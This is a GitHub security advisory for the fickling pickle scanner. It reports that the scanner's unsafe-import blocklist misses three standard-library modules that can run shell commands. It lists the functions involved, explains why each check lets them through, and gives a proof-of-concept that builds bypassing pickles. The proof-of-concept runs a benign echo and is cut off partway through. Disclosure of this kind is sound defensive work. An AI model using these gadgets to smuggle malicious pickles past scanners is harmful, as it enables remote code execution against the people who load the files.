GitHub Security Advisory: GHSA-5hwf-rc88-82xm
Package: fickling (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.1.8
Patched in: 0.1.9

Summary: Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Details:
# Assessment

The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d[PII_REDACTED]2d34dd05b).

# Original report

## Summary

fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.


## Affected Versions

- fickling <= 0.1.8 (all versions)

## Details

### Missing Modules

fickling's `UNSAFE_IMPORTS` (86 modules) does not include:

| Module | RCE Function | Internal Mechanism | Importable On |
|--------|-------------|-------------------|---------------|
| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |
| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |
| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)` | All platforms |
| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |

**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

### Why These Pass fickling

1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged
2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged
3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped
4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)

### Proof of Concept (using fickling's opcode API)

```python
from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBin